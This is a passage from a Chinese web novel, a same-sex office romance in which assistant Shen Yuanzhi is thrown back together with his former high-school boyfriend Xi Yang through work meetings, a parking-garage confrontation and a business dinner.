眸光微沉,沈垣之很快将精力集中起来。
不知不觉中一个上午过去了,直到办公室门外传来断断续续说话声时他才从电脑里抬起头来。
一看时间,已经是午餐时间了。
沈垣之下意识看向门外,他连忙保存文档后关了电脑,脚步加快径直走出办公室,小琪他们已经跑的没影了。
往对面的会议室走去,最后停在了挂着“项目部长”的办公室门前,里面空无一人。
沈垣之垂眸一想,也是。
席殃怎么可能会饿着自己,再说许助理也在,两人相谈甚欢约个午饭也实属正常。
G市天气阴晴不定,即使是大中午,窗外依旧刮起了一阵阴风,沈垣之脚步一顿径直往专用电梯走去。
一上午没吃饭,他早就饥肠辘辘了。
——
呈声除了住宿条件还不错外,食堂也比同行也好很多,除了固定的菜品外,饭后甜点应有尽有。
今天是三菜一汤,有荤有素,沈垣之都夹了些,然后去了他常坐的老地方,类似于包间的一个小休息区。
公司里的同事午饭时总结伴一起,热热闹闹的,沈垣之习惯了独来独往。推开包间门坐了进去,房间里没有过多装饰,只有简简单单的一个办公桌和小沙发,上面放了个小毯子。
沈垣之通常会在这吃完饭后再在这里休息,一般情况下不会有人进来。
将窗帘拉开,沈垣之透过窗户看向远处的景色,片刻后才回过神咬了口青菜,有些苦,沈垣之撇了撇嘴。
他一直都不爱吃青菜,无论什么做成什么样都不爱吃,薄言说他就是少爷命,这话不假。
沈垣之小时候家庭条件不错,爸妈都是高校老师,他妈在每天工作之后还自学膳食搭配。
从小到大,沈垣之不知道被妈妈逼着喝了多少牛奶,吃了多少青菜,后来读了高中更甚,他跟妈妈也说几次,但每次都以“身体健康”、“这样成绩会更好”等等为由拒绝了。
后来有一次成绩出来,沈垣之考了全年级第二,他心里惴惴不安,果不其然一回家就发觉家里气氛不对,爸妈像是刚吵过架,家里乱糟糟的,他最喜欢的画本被扔在了地上。
沈垣之不敢进家门,背着书包往外走。
他那时候手机没带,身上也身无分文,寒冬腊月连件外套都没得穿,浑浑噩噩的只知道往家相反的地方走。
后来彻底迷了路,望着毫不熟悉的地方眼泪都快吓出来了,正不知所措时,有人叫住了他。
来人穿着蓝白校服,身高很高,一双黑沉的眼眸正盯着他看,沈垣之借着月色认出了他。
他叫席殃,沈垣之记得他的名字。
当时他登记名册的时候,薄言还吐槽过:“谁家大人给孩子取名‘殃’呀,一点都不好。”
可沈垣之不觉得,当天放学后他和薄言走在校园小道上,彼时正值黄昏,满天红霞映进了沈垣之眼眸里,他突然想到了这个名字。
“席殃,夕阳。”
在薄言不解的视线下,他唇边盛满了笑意,连带着脸颊旁的梨涡都极为显眼。
“这名字多美呀。”
在他看不见的不远处,有道身影微微一怔。
“你怎么在这?”
一道低沉的男声将沈垣之的思绪拉了回来,他被冻的半死,肚子又饿,一句话都说不出来。
沉默片刻后,沈垣之见席殃将自己的衣服脱了下来,还没等他反应过来,头顶就被衣服罩着了,鼻息间是淡淡的皂香。
那晚席殃带他吃了很多东西,没有青菜,也没有喝不完的牛奶,后来他跟着席殃回了家,甚至还睡在了席殃的床上。
看着委身于小沙发上的席殃,沈垣之默默的想。
席殃和他名字一样,都特别好。
——
“我就知道你在这。”
一道声音倏然从门口传来,沈垣之被吓了一大跳,他看了眼正朝他走来的黎炫,很快调整好了表情。
“黎总,你找我?”
黎炫见他要站起来,连忙摇头:“你吃你的,我哥和于总来了,正在我办公室待着,我找你来躲一躲。”
沈垣之后背一松,看了他一眼没说话。
黎炫他哥叫黎慎言,大学刚毕业两年就顶上了他父亲的位置,工作能力一流,性格也好,平时总带着笑。
但黎炫就是怕他,说他是笑面虎。
沈垣之深治黎炫的德性,他随意扒了两口饭,残忍点破:“黎总你能躲多久,还不如现在就出去。”
这话不说还好,一说倒像是提醒了黎炫般,他眉毛一挑,眼眸里含了几分笑:“你还说我?”
“我昨天就察觉到你不对劲了。”他语气一顿,像是拿到了什么证据:“我刚刚看了那海归的资料,他也是一中高中毕业的。”
“算了下毕业时间。”他语气一顿,“你俩认识吧?”
沈垣之看了他一眼,没说话。
黎炫依旧兴致勃勃地开口:“早知道你和他有这层关系,小师弟你不如请他吃几次饭,卖卖人情,这G市项目不就安稳落地,视察工作不就完美结束了吗?”
“黎总。”
见他真有这个打算,沈垣之干脆破罐破摔道:“我和他读书的时候关系不太好。”
“难怪。”黎炫恍然大悟道:“你昨天见他刚一走,他就问我你去哪里了,什么时候回来。”
“那表情,”他语气一顿:“急的像是你把他老婆拐走了。”
沈垣之手一顿
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,有些意外地抬起了头。
没等他问些什么,黎炫的手机突然震了一下,一看到手机屏幕,黎炫脸都木了:“喂。”
“我在公司啊哥。”黎炫皱眉道:“午餐时间我下来吃顿饭不行吗?”
那边说了句什么,黎炫表情越来越差。
“我知道了,你别说了,我现在过来。”
说完便立马挂了电话。
“小师弟你吃完了吗?”黎炫明知故问:“吃完了你和我一块上去吧。”
沈垣之还能说什么,他将饭盒扣上,没什么情绪地应了一声:“好的黎总。”
两人一前一后进了电梯,沈垣之盯着某处发呆,脑子里全是黎炫刚刚说的那句话,眼眸一垂,沈垣之沉默着摩挲着口袋里的糖果,没过多久,电梯停在了十五层。
两人一前一后出了电梯,一进沈垣之办公室,几道声音便从屏风后的会客室传了过来。
隔着屏风,沈垣之隐约看到了几道的身影。
他脚步一顿。
身前的黎炫也突然停了下来,他嗅了嗅衣袖,转头问道:“你能闻到我身上的烟味吗?”
沈垣之点了一下头。
“完了,我前几天才说戒烟。”说完他语气一顿,四处找着什么,最后目光落在了沈垣之桌上。
“小师弟,江湖救急,等会儿我给你赔一包。”
说完他火急火燎地走了过去,沈垣之一愣,他还没反应过来,便眼睁睁看着黎炫将一颗糖塞进了嘴里,
沈垣之当即脸一沉。
没注意到他的异常,黎炫着急忙慌地整理着着装,径直走向前拉开了屏风。
交谈声很快暂停,会客室里的人很快望了过来,里面有三个人,依次是坐在主位上的黎慎言,右手边的于总,以及席殃,没看见那位许助理。
目光触到某道视线,沈垣之抿了下唇。
“你干嘛去了?”一见黎炫,黎慎言眉头就控制不住地一皱:“让于总和席总等你一个人像话吗?”
黎炫诚恳地说了声“不好意思”,见黎慎言嘴唇又一动,他连忙开口解释道:“我刚刚和沈助下去吃了顿饭。”
沈垣之闻言抬了下眼。不远处的席殃抿了口茶,他垂着头看不出什么表情。
“没事,正是饭点嘛。”
于总见黎慎言面色带怒,又看了眼自始自终沉默的席殃,他有意转移话题:“听你哥说你正在戒烟,我之前也戒过,挺遭罪的,吃了好几个月的戒烟糖。”
瞟了眼面色好转的黎慎言,黎炫松了口气,连忙笑着应了声:“是啊于总,我嘴里现在还含着糖呢。”
“市面上的戒烟糖我没吃过,”将糖在嘴里转了个圈:“但这糖还挺好吃的。”
黎炫意犹未尽地语气一顿。
“沈助,你是在哪买的?”
话刚落音,沈垣之猛地睁大了双眼,众目睽睽之下,没了往日的镇定,他某个方向去看,下意识想解释些什么。
沉默之际,席殃不知在什么时候望了过来。
隔着不远不近的距离,一双眼睛正波澜不惊、沉沉地落在了他身上。
9. 第 9 章
见他望过来,席殃很平静地移开了视线。
沈垣之心猛地一落空没等他说些什么,黎慎言像是这才发觉话题扯远了,出声打断道:“这些事你私下和沈助说。”
黎炫不以为然地“哦”了一声。
几人很快谈起了公务,沈垣之站在黎炫身后,左耳进右耳出,一双眼控制不住去看席殃。
席殃向来不是一个话多的人,此刻显得尤为沉默,他偶尔低头喝喝茶,必要时说一句自己的想法,丝毫看不出有任何异样。
沈垣之眼眸一沉,心情一时有些复杂。
他不知道该不该向席殃解释,又如何解释。
说不是他给的,他没想到黎炫会不问自拿,但那只是一颗糖而已,如果席殃压根不在意,到时候他该如何收场。
沈垣之不知道别人对待“老同学”是不是也像他这样畏手畏脚,但他总觉得这样有些不太对劲,索性不再继续想下去。
——
几人在会客室聊了很久,一直到天色渐暗才停了下来,沈垣之先前就和小杜通过微信,‘海宴后汀’果然没位置,她只好临时订了个私厨,沈垣之查了下地址,离一中不远。
一个接着一个巧合,沈垣之人都麻了,事已至此,就算他再怎么不愿意,那也没其他办法。
趁着几人整理时间,沈垣之先行离开会客室去了地下停车场,他的车早些时候让代驾开回来了。
早过了下班时间,地下停车场空无一人,隐隐约约只有路示灯,沈垣之有轻微夜盲症,太黑的地方他一点都看不清。
站在电梯门口停了一会儿,沈垣之打开了手机自带的手电筒,代驾司机说将车停在了A区,沈垣之一边皱眉一边找,车子太多,他停下脚步找了找车钥匙。
就在这时,不远处传来一道短促的喇叭声。
沈垣之顺着望去。
只见席殃不知何时下来了,他坐在车里,暖色调的氛围灯洒在他的脸上,与黑沉沉的背景相衬,一暗一明,衬得那双眼眸更显深邃。
目光下移,沈垣之这才注意到席殃咬了一根细长的烟,见他望过来,他轻吐一口气,唇边泻出一缕若隐若现的清烟。
沈垣之皱了皱眉。
席殃以前不是很传统意义上的好学生,但除了成绩不好外,他不抽烟不喝酒,每天早睡早起,就是不太爱说话,和沈垣之在一起后,甚至作业都每次按时完成。
他从没见过席殃抽烟的样子。
什么时候学会的,跟谁学的。
沈垣之喉结重重一滚。
那些被他藏得很深的、对席殃的独占欲又再次卷土重来,分开的这些年他有想过席殃会结交新的人,或许他也会从别人身上学到什么——
就像当年沈垣之教他学习,教他写作业,席殃教他亲嘴甚至更隐秘的事一样。
他身边也会出现其他人。
沈垣之以为自己能心平气和地接受,但此刻他就像被谁莫名其妙闷声敲了一棍子,心闷气短的,恨不得上前把席殃嘴里的烟抢过来,再恶狠狠地扔出去。
咬着牙压制着心里逐渐失控的念头,沈垣之控制着表情走了过去。
“席总,您怎么先下来了?”
席殃看了他一眼,摇下车窗的同时将烟搁置在一旁,沈垣之盯着那抹微弱的火光,眼眸里弥漫着他都没察觉到的凉意。
“他们还有事要谈,我先下来了。”席殃看了他一眼。
沈垣之没说话。
他知道于总和黎家两兄弟关系好,也知道席殃的身份不讨喜,工作上亲疏有别也不是不能理解,视察领导和朝夕相处的同事怎么能相提并论——
但沈垣之就是没来由的有些气短,尤其是看见席殃一个人坐在车里,让他想到很久很久以前,席殃被同学刻意忽视的样子。
见他沉默,席殃伸手将搁置在一旁的烟拿了过来,还没碰到嘴唇,一只手赫然出现,不由分说地将烟抢了过去。
席殃眸间深处闪过不易察觉的讶异,语气却依旧平静:“沈助这是干什么?”
沈垣之被问得有些心虚,但还是将烟头碾熄了:“地下停车场禁止吸烟,席总您别介意,我这是为了安全着想。”
席殃沉默片刻,一
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双眼眸静静地落在沈垣之身上:“是吗?”
他语气一顿,像是积攒了许久的不满,唇边勾起一个不冷不热的笑,淡淡道:“沈助真是体贴,关心那个不够还要关心这个。”
“我关心谁……”
几乎是瞬间被挑起怒火,双目对视,想到不久前薄言拿的他那颗糖,沈垣之语气一顿,直勾勾地盯着他看:“席总您什么意思,我不太懂,不如说明白点。”
席殃不说话了。
沈垣之自知理亏,正琢磨着要不要开口解释,席殃突然朝他伸手,语气听不出什么情绪:“还我。”
沈垣之一愣,摊开了手,一脸无辜:
“不好意思席总,烟被我不小心扔了。”
席殃盯着他没说话,他大手一捞便攥紧了沈垣之的手腕,沈垣之还没反应过来,整个人就被他带了过去。
隔着一扇车门,呼吸相触,沈垣之惊的心都快蹦出来了,他一挣扎,握住的手腕便被更用力的攥紧,另一只刚伸出来就被一起攥紧了。
在这种情况下沈垣之还能分出精力感叹人真是不可貌相,席殃怎么这么大力气,直到敏感的腰身被另一只手触碰。
沈垣之顿时腿一软,整个人如过电般头皮发麻,又惊又怒地喊了一声:“席殃!”
席殃看了他一眼,将他的手死死攥紧了。
不紧不慢地从他的腰身滑至外层的西装口袋,他将不久前亲自给沈垣之的那颗水果糖拿了出来。
单手剥开糖衣,席殃在沈垣之略带迟疑的视线下,面无表情地将糖咬了进去。
沈垣之一愣。
“这糖没有戒烟的功效,”席殃眼里闪过一瞬的阴鸷,很快地恢复平静,黑暗里听不出他什么情绪:“沈助既然不需要,那我就代为保管。”
双目对视,沈垣之盯着他嫣红的唇看了几秒:“随你。”
沉默片刻,他动了动被压制的手腕,语气生硬道:“松开!”
席殃看了他一眼,不经意地在他手腕处摩挲了一番,沈垣之正欲发火,席殃松开了他,低声开口:“你对黎炫也这么凶?”
10. 第 10 章
双目对视,席殃松开了他的手,随后移开了视线。
若不是手腕处被握紧的痕迹明显,或是腰间被划过的余温犹存,沈垣之只当是自己上班上出了幻觉。
不懂他为什么三番四次提起黎炫,沈垣之索性当没听见,转了个身继续找车。
没等他找到,手机突然响了起来。
“你看见席总了吗?”
电话刚接通,那头的黎炫就有些着急的问。
刚谈及的人打了电话过来,沈垣之下意识看了席殃一眼,后者没什么表情地朝他抬了下眼皮。
“看见了。”
“那行。”黎炫松了一口气:“我和于总他们正准备出发,你不用找我了,直接给席总带一下路。”
沈垣之喉结一滚,应了声:“行。”
见他答应的不情不愿,黎炫开口解释:“你刚刚前脚一走,席总后脚就跟着出去了。”
沈垣之闻言呼吸一怔。
“你才跟我说你和席总关系不好,”语气一转,黎炫突然哈哈一笑:“我还以为你俩找地儿打起来了。”
空旷的地下停车场,黎炫的声音格外清晰。
感受到一道灼热视线烙在他后背上,沈垣之心猛地一跳,往前走了几步,捂住手机,咬牙切齿道:“黎总,席总他……”
“哎呀,我知道。”黎炫笑着打断:“你不喜欢维系人际关系,大学的时候我就知道了,但现在这不是没办法嘛。”
感受到身后那道视线越发沉重,沈垣之屏住了呼吸,几乎快被压得抬不起头来,他嘴唇一抖,刚想说些什么。
黎炫在电话那头立马开口:“你就忍三个月。”
“等视察期一结束,”语气一顿,他保证道:“不,顶多等到高校项目结束。”
“等他走了,我就给你加三倍工资,一个月带薪休假。”
“先委屈你了,小师弟。”
说完就挂了电话。
安静的地下车库里,荒凉的忙音一声声撞在沈垣之不断发凉的心脏上,他一时间不知该做什么反应。
薄言说的不对,但似乎又没说错。
是他亲口对薄言说的“关系不好”,倒是没有什么辩驳的必要。
本就沉默的气氛更显诡寂,低压的空气围绕在两人之际,沈垣之沉默着,直到身后传来拉开车门的声音。
沈垣之身形一怔。
没有想象中的冷嘲热讽,席殃甚至没有给他一个眼神,他只是将车钥匙放在了车头上,随后径直走向了后座。
“麻烦你开一下车。”
像是叹了一口气,席殃的声音异常疲惫:“我有点不舒服。”
沈垣之立马回头。
“怎么了?”
席殃闻言抬了一下眼皮,黑暗里一束冷光衬得他十分疏离:“只是有些累。”
“放心,不会累三个月。”
“……”
“不会影响项目进程。”
说完他便阖上了眼。
沈垣之一愣,他嘴唇动了一下,片刻后他上了车。
沈垣之驾照考的是手动挡,他连自动档车的连键位都有些分不清,正皱眉时,一只手突然从后座伸了过来。
重重地往红色按钮一按。
席殃很快收回了手。
沈垣之将唇一抿,好在自动挡不是特别复杂,给油门,踩刹车,除此之外就没什么难度,他很快将车开了出去。
早就过了下班高峰期,一路上除了红绿灯外没有其他堵车的地方,车速不快不慢,沈垣之盯着沿途的路标,一栋栋熟悉的高楼大厦,全都是这几年才建起来的。
思绪一怔,沈垣之的目光移回了车内镜。
席殃不知什么时间闭上了眼,像是睡着了,向来挺直的腰此刻与靠背贴合,他眉头皱得很紧,嘴唇抿的也很紧,一张极为俊美的脸带着十足的侵略性,像是在梦里也不开心。
沈垣之抿了下唇,腾出手将车内温度调高了些。
目光瞟到车内镜上的一个挂件。
像是一串佛珠。
沈垣之眸光沉了沉。
在他记忆中,席殃不太喜欢买这些装饰品,以前他图着好玩给席殃串过一个手链,席殃反应平平,也不知道被他扔到哪里了。
又想到不久前席殃抽烟,极为陌生的模样,以及朋友圈明显他拍的背景图,一股难以言喻的情绪在沈垣之心里渐渐蔓延开来。
他这些年到底过得怎么样?
为什么还能这么淡定,在听到薄言说的那席话之后,
眼眸一沉,沈垣之无意识地抠紧了方向盘,片刻后,目光上移,他抿着唇盯着车内镜下的那张脸,试图寻找出答案来。
从额头划至眉眼,最后划向他黑色衬衣未扣上露出的一截锁骨,喉结重重一滚,沈垣之毫不掩饰地盯着他,眼眸里渐渐染上几分厚重的情愫。
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情绪正混乱着,后座突然传来一道很沙哑的男声:“认真开车。”
沈垣之闻声望去。
只见本该睡熟的席殃眼皮轻轻一抬,没什么情绪地看了他一眼,语气冷如冰霜:“如果你不想和关系不好的人死在一起的话。”
搭在方向盘上的手一愣,沈垣之的心脏像是被谁攥紧似的疼,他僵硬地移开视线,不多时,眼前就渐渐浮现出一层雾气。
忍住,一定要忍住。
沈垣之咬紧了牙关,这些年他不是没经历过事,争吵了一辈子的爸妈终于离了婚,工作上也不是没遇见过委屈的事,但沈垣之一次都没哭过。
总不能,因为席殃一句话……
思绪混乱之际,耳旁突然传来一道很轻地,对他似乎无可奈何地叹息声:“是我说错话了,沈助理,你别和我一般见识。”
许是这一声沈助理将他拉回了现实,片刻后,沈垣之眼睛一眨,恢复了平静:“是我的问题。”
“黎总他……”
“不好意思。”席殃没什么情绪打断道:“我对他并不是很感兴趣。”
是对他,还是对我?
沈垣之脑子里顿时冒出这个念头来。
刚想解释的话被怼回了喉咙里,积压许久的情绪像是到了极点,尤其是在从车内镜和席殃对视了一眼后——
席殃坐在黑暗里,眼眸非常平静。
像是在冷眼旁观。
沈垣之被这一眼看得快速清醒过来,方才的失态让他极度想找回些什么,他很快移开视线,扭头看向窗外:“G市这几年有很多的变化,”
语气一顿,他声音很重:“席总,你觉得呢?”
席殃停顿了片刻,什么都没有说。
“或者换句话来说,你找到你想要的生活了吗,”
沈垣之目不转睛地盯着他沉默的眼睛,在此刻心里只有一个念头:“在离开我以后。”
席殃缓缓抬起了眼。
车身不知何时来到一中附近,熟悉的晚自习铃声随着几道学生的欢声笑语一同传来,这里经过开发,小商贩被各种私厨,高级餐厅取代。
唯有街边的老樟树叶被晚风吹起,传来一阵阵穿越时空,多年未变苦涩的香味。
沈垣之在几乎失衡的心跳声中,听见席殃的呼吸怔了几分,他像是被戳中什么难堪事一般,语气比以往任何时候都更为生硬:“沈垣之,这是我自己的事。”
11. 第 11 章(文案回收)
“沈助!”
一道女声打断了车内的沉默,沈垣之望着那道熟悉的身影很快回过神,他扫过后座沉默的席殃,抿了抿唇,将眼里的情绪藏了起来。
之前的试探在此刻全化作虚妄,沈垣之觉得很好笑,他甚至在不久前竟有过一瞬间动摇的想法。
譬如,席殃这些年在国外可能过的不好,又或者更离谱的想过,席殃给他糖,给他发520是不是对他还有什么想法。
或者说当年他有什么难言之隐,电视剧都是那样演的。
他们或许还有很多可能。
但席殃刚刚说:“这是他自己的事。”
沈垣之只觉得一朝梦醒。
“沈助?”
在门口等待许久的杜婧笙疑惑地走了过来,她弯下身谨慎地敲了一下窗,看向后座,眼眸一亮:“席总?”
席殃“嗯”了声,听不出什么情绪。
沈垣之掩饰地推了下眼镜,他语气平静:“小杜你带席总先进去,我找个车位。”
杜婧笙跟在黎炫身边多年,一看这气氛就不对劲,一双眼在两人身上来回扫视后,她连忙笑了笑:“行,那席总您跟我来。”
席殃在车内镜深深地看了他一眼,片刻后,推门下了车。
从后视镜目送席殃离开的背影,沈垣之很轻地松了口气,他没去找车位,只将车钥匙递给门童,转身找了个角落抽烟——
席殃不在的这些年,他也学了很多。
沈垣之穿着按他身形设计的西装,本应该客气又体面的游走于各个应酬场所,在没有席殃出现之前,他确实也是如此。
可席殃一回来就变了,沈垣之一边抽着烟一边觉得这个世界简直糟透了,当年席殃一走了之要死要活的是他,如今席殃一板药片,一颗糖果,甚至只是席殃那一张脸!
就把他迷得头晕脑花的,分寸尽失。
如果他刚刚没问出那句话,席殃是不是就是站在那,他也会像以前那样,不知不觉又朝他走去?
答案是呼之欲出的。
凭什么。
沈垣之深吐了一口浊烟,没等他想明白,手机突然震了一下。
黎炫发来的,问他人在哪里,让他拿瓶白酒上去,沈垣之回复了一句,很快回过神来站起身。
他和席殃怎么样是他俩的私事,公私分明,正事不能耽搁。
进了门,前台这时正忙,沈垣之在大堂里等了一会儿才等来了服务员,选了几类度数适中的白酒,沈垣之上了楼。
进包间前,沈垣之调整了下表情,随后腾出手敲了敲门。
里面很快传来黎炫的声音:“进来。”
沈垣之推门而入,一阵饭菜香顿时扑面而来,包间很大,坐在上位的是黎慎言,右边依次是于总、黎炫、杜婧笙,左上位是……席殃。
目光匆匆一扫,沈垣之看了眼隔着一个空位的脸生人,此刻正微微欠身笑着给席殃倒酒,若是没猜错,这人就是小许助理。
面无表情地收回视线,沈垣之将酒放在餐桌上,他最后径直走到了上菜的位置,入座,一抬眸,恰好撞进了席殃的眼里。
经车上一别,两人的心境都变了许多。
“人都到了。”沉默之际,黎慎言轻咳了声:“今晚我们就不谈公事了,主要是欢迎一下远道而来的席总。”
他站起身端起了桌上的酒,脸上堆着笑压低杯口和席殃碰了碰杯:“来,席总。”
“这段时间麻烦您多多担待。”
说完便一饮而尽,席殃朝他点了点头:“黎总不必客气,”他扫了眼沈垣之,很快将这杯酒仰头喝下。
接下来就是职场上的应酬,今天是领导间聚餐,不需要沈垣之挡酒,他偶尔配合着喝一口,昨天闹得那出他实在心有余悸,大多时候只是低头吃菜。
酒过三巡,包厢里的气氛随着酒精逐渐炒热,黎慎言算上来今年不过也才三十七,最大的于总也不过四十岁,在职场上摸爬打滚这些年,都练成了人精,喝了老大半天也没从席殃嘴里撬出什么话来,因此也不再白费力气。
黎炫更是不用说了,除了吃菜就是喝酒,完全将项目抛之脑后,后来被他哥反捣了一肘子,喝得有些上头的黎炫终于将话题引到了席殃身上。
“席总,您在挪威过的还习惯吗?我好几年前和沈助去那参加过一次展会,当时可把我俩冷的……”
正低头吃菜的沈垣之喉结一滚。
“小黎总您和沈助也去过?”一旁沉默的许助理有些意外地亮了下眼,像是想到了什么,他笑道:“我想起来了,我还记得当时我和席总……”
“那里的环境确实有些恶劣。”
席殃平静地打断道。
“是的。”许助理补充道:“当时公司就我和席总两个中国人,每次出差都比其他同事穿得要多,像熊猫一样,招了不少笑。”
此话一出,黎炫带头笑出了声,包间气氛缓和了不少,许助理因此大受鼓舞,说了不少和席殃在挪威的事。
譬如出差的时候和一群同事看到了极光,一起和同事翻山越岭去给老学校修广播等等。
他描述的绘声绘色,画面感喷涌而来。
沈垣之渐渐捏紧了筷子。
正当他快要忍受不了站起身时,黎炫再次将话题引到了爆炸点。
“席总在挪威这么多年,就没谈段恋爱吗?我听说挪威当地人虽然性格有些内敛,但感情上还是挺奔放热情……”
“你这是问的什么……”
“没有。”
一直沉默的席殃打断了黎慎言的话,他喝了不少酒,眼眸里带了点红血丝,平静地重复道:“没谈过。”
沈垣之一顿,很轻地抬了下眼皮。
见席殃不排斥这个话题,黎慎言若有所思地看了他一眼。
“一次都没谈过?”黎炫诧异道。
“在国内谈过一次。”席殃的语气没什么情绪,一双眼扫过沈垣之:“后来他说早恋影响学习,分了。”
沈垣之:“……”
他正想说些什么,一只纤细的,涂着红色指甲油的手指突然压了压他左边的餐桌,沈垣之顺着望去,只见杜婧笙朝他摇了摇头。
她像是看出了什么。
沈垣之一愣,将几乎快要脱口而出的话憋了回去,之后寻了个由头从包间里走了出来。
从杜婧笙那借了支女士烟,沈垣之咬牙切齿地往吸烟室走,肺都要气炸了。
早恋影响学习?!
他提的分手?
沈垣之真是服了席殃那张撒谎不打草稿的嘴,可他完全不能将他怎么办,这种挫败感和压抑许久的恨意几乎将他整个人快吞噬了。
走进吸烟室,沈垣之径直进了一间隔间,他咬着细窄的烟头,望着隔着一层玻璃的窗外,歪着头点燃了烟。
从他这个角度恰好能看见一中校园。
沈垣之突然不想回去了。
不想回那个充斥着试探的包间里,不想听小许助理说他和席殃在挪威发生
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的事,更不想听席殃说一些似是而非的话。
沈垣之眼睛一红,他缓缓吐出一口气,等他平复好心情之后,他推开了隔门。
随后愣在了原地。
离吸烟室不远处有道熟悉的身影,他背对着沈垣之,整个人倚靠在栏杆上,惨淡的月色勾勒出他坚毅的侧脸,烟头那一抹火光,随着呼吸渐重像是变成了一个个灼热的吻,印在他的唇边。
席殃面对着不远处的一中校园,头顶着亘古不变的月亮,这一幕直接将沈垣之拉回了许多年前,席殃背着书包等他下课的样子。
只是此刻的席殃,比过往,多了分难以忽视的孤寂,甚至是病态,没等沈垣之抓住那一抹病态的脆弱,一道迟疑的男声打破了宁静。
来人是个年轻男人,长相中规中矩,眉眼含笑,难掩欣赏地上下打量着席殃,说着话便掏出了手机。
看到此幕,沈垣之眼眸一沉,正准备提脚离开时,席殃的声音不冷不热地飘了过来:“我助理管得严,留电话得经过他允许。”
男人一愣,他搭讪过不知道多少个男人,还是第一次听到这样的借口。见他不信,席殃平静地朝沈垣之所在的方向抬了抬下巴。
双目对视。
很快地,男人望了过来。
一见沈垣之,男人的眼眸也亮了几分,他快步走了过来,说明了来意,沈垣之透过他和席殃对视了一眼,随后将席殃的电话念了出来。
席殃在他说出第一个数字后就离开了,离开前那双眼比以往任何时候都更显沉默。
沈垣之先是爽,爽在席殃也会吃瘪,后是越来越不爽,席殃竟敢来者不拒,一个和他忆往昔的许经理还不够,一回来就敢招蜂引蝶。
晚来风急,沈垣之眼眸里的凉意更深了些。
沈垣之咬了咬烟,疯狂的醉意渐渐占据了他的大脑,这样还远远不够,当年的感情亲手斩断的可以是席殃——
但现在不行。
三个月之后,他难道又想全身而退?
报完最后一个数字后,男人道了声谢正准备转开时,沈垣之突然叫住了他。
“手机号码多少钱?”
“啊?”男人诧异道,“什么意思?”
“这个手机号码,”沈垣之咬牙切齿地对他笑了一下:“卖给我,多少钱?”
见沈垣之没开玩笑,男人犹豫道:“你自己没号码吗?”
沈垣之:“……”
他扯起僵硬地笑:“我就想要你这个。”
“帅哥,这是我专门钓凯子的号码,里面多少优质男你知道吗?”男人语气一变,“就说刚刚那个……”
“刚刚那个你想都别想。”沈垣之眯着眼朝他竖了一个手指头:“这个数卖不卖?”
男人迟疑道:“一千?一千算什么……”
“再加个零。”
男人闭上了嘴,立马从口袋里掏出个回形针来:“稍等。”
“……”
脑子慢慢有些清醒的沈垣之疑惑道:“你随身带这个?”
“不行吗?”男人比他还奇怪地看他:“这不是用上了?”
沈垣之没说话了。
两人一手交钱一手交货,沈垣之离开前男人提醒他道:“你不要做违法乱纪的事,我看你长得又帅又乖,我俩撞号了才答应你的。”
“……”
沈垣之点点头,转身就给席殃发了消息。
【你长得真带劲。】
【见你第一眼就硬了。】
12. 第 12 章
消息显示发送成功后,屏幕映在泛着冷光的镜框上,睫毛轻轻一垂,沈垣之那双眼眸里闪过一丝阴湿的快意。
一想到席殃那双停留在他身上的眼眸,想到那双不久前扣着他腰间的手,甚至是淡淡的苦涩烟香味,呼吸之间,沈垣之喉结重重一滚。
蛰伏了不知多久的阴暗面在此刻彻底地卷土而来,人模狗样装了太久,沈垣之都快忘了自己到底是个什么样的人。
表面装乖,背地里玩跟踪。
当年他就这样不出半学期就拿下了席殃,现在只是延续以前的路数而已,况且这些年他早就放下了,席殃自己跑回来撞他手上这能怪他吗?
当然不能。
沈垣之阴恻恻地磨了下牙。
——
整理好情绪重新回到包间,没有人注意到他这个小助理,快散场的时候黎慎言又将话题引到了G市高校的项目上。
“今天早些时候我打听到了消息,G市确认已投项目的高校总共就两所,一个是在西关的附一,一个就是,”
他语气一顿,点了点桌子:“这里。”
品出他的言外之意,沈垣之眼皮一抬,猝不及防地与对面的席殃对视了一眼,很快地,席殃没什么情绪地移开了视线。
自从挑破之后,两人没了先前那层不清不楚的试探,对视也变得毫无波澜。
“一中这个项目从年前一直探讨至今,大大小小的新换设备也做过不少,但大规模的还是第一次……”
在黎慎言平稳的声音里,沈垣之低头抿了口酒,没有意料之中的苦涩酒味,唇齿间带着一丝淡淡的甜味。
沈垣之一愣。
是蜂蜜水。
察觉到对面传来一道若有若无的视线,沈垣之手一顿,很快将杯子放回了原处,一直到结束,沈垣之再没有端起这杯盛着蜂蜜水的杯子。
他面无表情地看着它渐渐失温。
——
聚餐结束时,天下起了雨。
沈垣之结完账后落在了人群后,他早些时候叫了几个代驾,只要等这些领导上车之后就没他什么事了。
一行人从包间里出来,沈垣之看见于总低头和许助理说了句什么,顺着他们的视线望去,落在了游离于人群外的席殃身上。
沈垣之唇一抿。
没等他反应过来,一道女声从身旁传来:“我看今天许助理都没喝酒,大概会送席总回去。”
沈垣之一愣,偏头看向杜婧笙。
杜婧笙见他望过来,朝他耸了耸肩:“明天就会正式成立新的项目部,席总是‘G市高校’项目总负责人。”
说完她语气一顿:“这个项目谁都眼馋,席总既不是总公司的人也不是咱分公司的,一切皆有可能,”她压低了声音:“不然于总也不会眼巴巴地赶过来。”
沈垣之无所谓这些弯弯绕绕,只要能给他按时发工资就好,但现在不行,一想到席殃被人盯着,他就忍不住要上前插一脚。
“沈助,你和……”
杜婧笙突然叫了他一下,沈垣之下意识朝她看了一眼,双目对视,她看了眼不远处的席殃,又看了眼他,有些欲言又止。
沈垣之假装没看见她眼里的深意,勾起唇对她笑了笑:“怎么了?”
杜婧笙见状也笑了一下,片刻后她打量了他一眼,然后又看向不远处的席殃,笑道:“也不奇怪,席总确实蛮帅的。”
“……”
人有时候太聪明了也不好。
沈垣之不知道杜婧笙是怎么看出来的,但是他也懒得解释什么,两人又聊了些项目上其他问题,等门童将车开来时,黎炫果然朝他招了下手。
“你等会儿上席总那辆车。”黎炫喝的有些多,呼吸间有些酒意:“再怎么说席总一下飞机来的是我们这,总不能让别人有机可乘。”
他语气一顿:“虽然我知道你和席总……”
眼见着席殃已经坐进了车里,沈垣之连忙提高了声音:“好的黎总,我知道了,我会好好照顾席总的。”
黎炫:“?”
在黎炫略带迟疑的视线下,他径直朝席殃的车走过去,隔着不远不近的距离,他隐隐约约听见席殃说了句:“不用了。”
后者说了什么没听清。
沈垣之调整着表情,轻轻敲了下车窗,两人交谈声戛然而止,许助理有些意外地看了他一眼:“沈助?”
沈垣之朝他客气地点了下头:“许助理,你好。”
“我刚刚没开车过来,”他语气一顿,有些不好意思地看向后座的席殃,轻轻地磨了下牙:“席总要是您方便的话,能不能捎我一程?”
